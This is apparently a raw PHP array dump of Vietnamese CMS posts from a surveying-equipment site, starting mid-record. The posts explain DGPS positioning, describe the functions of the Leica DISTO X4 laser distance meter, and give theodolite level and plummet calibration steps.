<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">DGPS sử dụng thêm một mạng lưới các trạm mặt đất cố định để phát tín hiệu. Làm căn cứ cho thiết bị định vị nhận biết khác biệt giữa các vị trí của các trạm đo. Phân biệt theo hai cách: được chỉ định bởi hệ thống vệ tinh và số liệu đo đạc chính xác đã biết từ trước. Từ sai khác giữa vị trí đo bởi vệ tinh và vị trí chính xác đã biết. Các thiết bị định vị có thể hiệu chỉnh vị trí chính xác của chúng.</span></span></p>
<p style="text-align: center;">
<br />
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939579-DPGS-2.jpg" style="width: 507px; height: 347px;" /></span></span></p>
<br />
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Các tín hiệu hiệu chỉnh thường được phát ở dạng sóng radio UHF.<br />
<br />
Hệ thống DGPS:<br />
- Một là chủ yếu cho hàng hải, phát tín hiệu trên dải sóng dài;<br />
- Một hệ thống khác được sử dụng cho điều tra đất đai và di chuyển trên mặt đất, sử dụng băng tần FM radio thương mại.<br />
<br />
Ở Việt Nam hiện có 6 trạm DGPS: Đồ Sơn, Vũng Tàu, Hà Giang, Cao Bằng, Lai Châu, Quảng Nam.<br />
<br />
Các ứng dụng hệ thống DGPS: <br />
<br />
- Ứng dụng trong trắc địa và bản đồ mặt Đất<br />
- Ứng dụng trong trắc địa và bản đồ biển<br />
- Ứng dụng trong giao thông và hải dương học trên biển<br />
- Ứng dụng trong trắc địa và bản đồ hàng không<br />
- Ứng dụng trong giao thông hàng không<br />
- Ứng dụng trong thám hiểm không gian<br />
- Ứng dụng trong quân đội<br />
<br />
<strong>GPS và DGPS khác nhau như thế nào?</strong> </span></span><br />
<ul>
<li>
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> GPS là tín hiệu được phát trực tiếp từ các vệ tinh toàn cầu GPS. GPS có độ sai số trong phạm vi tiêu chuẩn là 15m.</span></span></li>
<li>
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> DGPS là tín hiệu vô tuyến được phát từ các trạm DGPS sau khi nhận GPS và sửa đổi chúng cho tín hiệu chính xác hơn. Với phạm vi tiêu chuẩn dưới 5m. Tuy nhiên nhược điểm của DGPS là phải sử dụng nhiều trạm phát dưới mặt đất. Sai số sẽ càng cao khi khoảng cách từ trạm DGPS đến thiết bị thu sóng càng lớn.</span></span></li>
</ul>
<p style="text-align: center;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-11.jpg" style="width: 421px; height: 245px;" /></span></span></p>
<p style="text-align: center;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"> <img alt="" src="/admin/webroot/upload/image/images/1542939580-DPGS-12.jpg" /></span></span></p>
',
'images' => '20181123080947be329442040732a45e4832bf54eaf382.png',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2018-11-23',
'modified' => '2025-08-10',
'status' => '1',
'view' => '68150',
'slug' => 'cong-nghe-dgps-va-ung-dung-cua-no',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '927',
'rght' => '928',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
(int) 9 => array(
'Post' => array(
'id' => '530',
'name' => 'Chức năng của máy đo khoảng cách laser Disto X4',
'code' => null,
'alias' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;"><strong style="margin: 0px; padding: 0px;">Máy đo khoảng cách laser Leica DISTO X4 - 150m</strong> là Model mới nhất của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. </span></span></span></p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
</p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410<br />
<br />
* Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p>
',
'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(51, 51, 51); font-weight: 700; text-transform: uppercase;">MÁY ĐO KHOẢNG CÁCH LASER LEICA DISTO X4_150M</span><span style="color: rgb(0, 0, 0); text-align: justify;"> là Model mới nhất (cùng với Leica DISTO X3) của hãng Leica Geosystems - Thụy Sĩ tại thị trường thế giới cũng như ở Việt Nam. Disto X4 đã có mặt tại thị trường Việt nam vào tháng 8/2018</span></span></span>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
</p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Được thiết kế với mẫu mã mới hoàn toàn so với các Model tiền nhiệm, Leica đang hướng tới sự đơn giản, chắc chắc, tinh tế cùng với các chức năng ngày càng tiên tiến hơn. Đặc biệt độ bền bỉ cực cao như Model tiền nhiệm X410</span></span></span></p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
</p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Điểm khác biệt lớn nhất của Model X4 lần này không thể không kể đến là màn hình của Máy, tuy màn hình không được trang bị cỡ lớn như các dòng D seriel nhưng màn hình X4 được thiết kế dạng LED TFT sắc nét giống như các màn hình trên smartphone hiện nay.</span></span></span></p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
</p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Giao diện truy cập được thiết kế mới giúp cho việc truy cập các chức năng cũng như quan sát kết quả được dễ dàng và thuận lợi nhất.</span></span></span></p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
</p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Thân máy được thiết kế rất chắc chắn, cầm vừa vặn trên tay, cùng với đó là X4 được trang bị IP65 cho khả năng kháng bụi nước rất cao nơi công trường cũng như có khả năng an toàn khi rơi từ độ cao 2m.</span></span></span></p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
</p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="margin: 0px; padding: 15px 5px 0px 0px;">* Các công việc đo đạc khảo sát công trình bên ngoài trời nắng sẽ không còn là trở ngại lớn khi camera kỹ thuật số Zoom 4X được tích hợp trên Disto X4, camera này giúp cho việc định vị mục tiêu đo bên ngoài trời nắng được dễ dàng, nhanh chóng,thuận lợi và chính xác hơn so với các Model không được trang bị camera. Kết quả đo đạc sẽ chính xác và tin cậy hơn rất nhiều.</span></span></span></p>
<p style="margin: 0px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Helvetica, sans-serif; text-align: justify;">
</p>
<table border="0" cellpadding="0" style="width:700px;" width="700">
<tbody>
<tr>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-painter-function.jpg" /></span></span></td>
<td>
</td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-1.jpg" /></span></span></td>
</tr>
<tr>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích sơn</strong><br />
Tính toán tổng diện tích tường, sàn, trần</span></span></td>
<td>
</td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo diện tích / thể tích</strong><br />
Đo diện tích nhà, phòng, diện tích đất.. thể tích vật liệu...</span></span></td>
</tr>
<tr>
<td>
</td>
<td>
</td>
<td>
</td>
</tr>
<tr>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-2.jpg" /></span></span></td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> </span></span></td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-3.jpg" /></span></span></td>
</tr>
<tr>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo gián tiếp Pythagoras</strong><br />
với những vị trí khó tiếp cận</span></span></td>
<td>
</td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo ngang thông minh</strong><br />
Khi gặp chướng ngại vật, không thể đo theo phương ngang. Khi đó chỉ cần đo phía trên hoặc phía dưới thiết bị sẽ cho ra khoảng cách ngang chính xác, nhanh chóng.</span></span></td>
</tr>
<tr>
<td>
</td>
<td>
</td>
<td>
</td>
</tr>
<tr>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-4.jpg" /></span></span></td>
<td>
</td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/may-do-khoang-cach-laser-leica-5.jpg" /></span></span></td>
</tr>
<tr>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo chia đều</strong><br />
Việc lắp dựng, xác định các vị trí bằng nhau sẽ nanh chóng hơn</span></span></td>
<td>
</td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo cao liên tục</strong><br />
Với những vị trí trên cao, vị trí không thể tiếp cận trực tiếp...chỉ cẩn đo điểm trên hoặc dưới sau đó hướng laser đến điển còn lại, thiết bị sẽ cho ra khoảng cách chính xác và nhanh nhất</span></span></td>
</tr>
<tr>
<td>
</td>
<td>
</td>
<td>
</td>
</tr>
<tr>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_disto_x3/leica-disto-x3-do-goc-nghieng.jpg" /></span></span></td>
<td>
</td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><img src="http://www.legendtech.com.vn/media/upload/leica_moi/leica_disto_x4/IP65-leica-disto-x4.jpg" /></span></span></td>
</tr>
<tr>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Đo góc nghiêng 360<sup>o</sup></strong><br />
Xác định độ dốc (nghiêng) của mái nhà, ram đốc, mái dốc, cầu thang, vì kèo...</span></span></td>
<td>
</td>
<td>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Cấp bảo vệ IP65</strong><br />
Cho khả năng chống bụi bặm, môi trường ẩm ướt nơi công trường. Ngoài ra thiết bị có khả năng an toàn khi rơi ở độ cao 2m</span></span></td>
</tr>
</tbody>
</table>
<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <br />
<br />
<br />
<br />
</span></span>',
'images' => '2018111207535647c80092b4d21138b6caefb4b536d2f7.jpg',
'images_multi' => '',
'pos' => null,
'new' => null,
'hot' => null,
'saleoff' => null,
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2018-11-12',
'modified' => '2025-08-10',
'status' => '1',
'view' => '84410',
'slug' => 'chuc-nang-cua-may-do-khoang-cach-laser-disto-x4',
'name_eng' => '',
'shortdes_eng' => '',
'content_eng' => '',
'phut' => null,
'shortdes_tq' => null,
'content_tq' => null,
'name_tq' => null,
'nguoilon' => null,
'treem' => null,
'truso' => null,
'don' => null,
'doi' => null,
'lon' => null,
'tour' => null,
'tourtrongnuoc' => null,
'tournuocngoai' => null,
'noiden' => null,
'ngaydi' => null,
'thangdi' => null,
'namdi' => null,
'ngaykhoihanh' => null,
'thoigiandi' => null,
'ngaykhoihanh_eng' => null,
'thoigiandi_eng' => null,
'videoyou' => null,
'nt' => null,
'duration' => null,
'duration_eng' => null,
'twodaypro' => null,
'twodaypro_eng' => null,
'threedaypro' => null,
'threedaypro_eng' => null,
'photo' => null,
'lft' => '925',
'rght' => '926',
'vat' => null,
'hangsx' => null,
'baohanh' => null,
'tinhtrang' => '1',
'tailieu' => null,
'tag' => null
),
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
)
)
$tinlq = array(
(int) 0 => array(
'Post' => array(
'id' => '494',
'name' => 'Cách kiểm tra và hiệu chỉnh máy kinh vĩ điện tử',
'code' => null,
'alias' => 'cach-kiem-tra-va-hieu-chinh-may-kinh-vi-dien-tu',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;">Hãy cùng chúng tôi tìm hiểu cách kiểm tra và hiệu chỉnh máy kinh vĩ điện tử nhé!</span></span>',
'content' => '<h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="1bot-thuy-dai" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1.Bọt thủy dài</span></span></span></span></h3>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">(Đặt độ vuông góc trục bọt thủy dài với trục đứng của máy)</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p>
<ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt máy lên chân và tiến hành cân máy </span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay máy đi 180 độ và kiểm tra xem bọt khí có nằm đúng tâm bọt thủy không</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trường hợp bọt thủy nằm đúng vị trí, không cần hiệu chỉnh. Nếu khác đi, tiến hành hiệu chỉnh theo hướng dẫn.</span></span></span></li>
</ul>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p>
<ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay vít chỉnh bọt thủy dài với tâm chính đã cung cấp kèm theo, đưa bọt khí dịch về tâm một nửa khoảng sai lệch</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Chỉnh tâm bọt khí bằng vít cân máy A</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Kiểm tra lại và hiệu chỉnh cho đến khi đạt kết quả</span></span></span></li>
</ul>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieuchinh bot thuy dai" class="wp-image-5348 size-full aligncenter" height="346" sizes="(max-width: 488px) 100vw, 488px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai-300x213.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinh-bot-thuy-dai.png 488w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="488" /></a></span></span></span></p>
<h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="2bot-thuy-tron" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2. Bọt thủy tròn</span></span></span></span></h3>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">Trước khi tiến hành cân bằng bọt thủy tròn, kiểm tra xem có sự sai lệch của bọt khí khỏi vòng chuẩn tâm trên bọt thủy. Trường hợp không có sự sai lệch, không cần hiệu chỉnh. Nếu có sai lệch, lấy tăm chỉnh dùng tay hiệu chỉnh ba vít hiệu chỉnh đưa bọt khí về tâm.</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><a class="fancybox image" href="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0); background: transparent; text-decoration-line: none; line-height: 18px; cursor: pointer; transition: all 150ms ease-in-out 0s;"><img alt="hieuchinhbotthuytron" class="wp-image-5349 size-full aligncenter" height="344" sizes="(max-width: 493px) 100vw, 493px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1-300x209.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhbotthuytron1.png 493w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="493" /></a></span></span></span></p>
<h3 style="box-sizing: border-box; margin: 0px; padding: 0px 0px 15px; color: rgb(51, 51, 51); font-family: Arial, sans-serif; line-height: 24px; font-size: 20px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span id="3kinh-doi-tam" style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">3.Kính dọi tâm</span></span></span></span></h3>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">(Đặt thẳng hàng trục thấu kính theo phương dây dọi với trục đứng cảu thiết bị)</span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">1) Kiểm tra</span></span></span></p>
<ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đăt thiết bị lên chân ( không cần cân bằng)</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Đặt tấm vạch dấu “X” xuống đất bên dưới thiết bị</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Nhìn vào kính dọi tâm, chỉnh vít cân máy đưa ảnh dấu “X” vào tâm vòng chuẩn</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Quay máy đi 180 độ</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Trường hợp dấu “X” nằm ở tâm lưới chỉ, không cần hiệu chỉnh. Trường hợp sai lệch, tiến hành hiệu chỉnh theo chỉ dẫn dưới đây.</span></span></span></li>
</ul>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;"><img alt="hieuchinhkinhdoitam" class="wp-image-5350 size-full aligncenter" height="394" sizes="(max-width: 994px) 100vw, 994px" src="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam.png" srcset="http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam-300x119.png 300w, http://tracdiapro.com/wp-content/uploads/2015/11/hieuchinhkinhdoitam.png 994w" style="box-sizing: border-box; padding: 0px; border: 0px; vertical-align: top; max-width: 100%; height: auto; display: block; margin: 0px auto 20px !important;" width="994" /></span></span></span></p>
<p style="box-sizing: border-box; margin: 0px 0px 15px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px;">2) Hiệu chỉnh</span></span></span></p>
<ul style="box-sizing: border-box; margin: 0px 0px 20px; padding: 0px; color: rgb(0, 0, 0); font-family: Arial, Arial; font-size: 13px; text-align: justify;">
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Dùng tuốc no vít đã cung cấp, quay vít chỉnh đưa dấu “X” đi nửa đoạn thẳng nối tâm với lưới chuẩn</span></span></span></li>
<li style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(102, 102, 102); line-height: 24px; list-style: square inside none;">
<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="box-sizing: border-box; margin: 0px; padding: 0px; color: rgb(0, 0, 0);">Lặp lại các bước kiểm tra</span></span></span></li>
</ul>
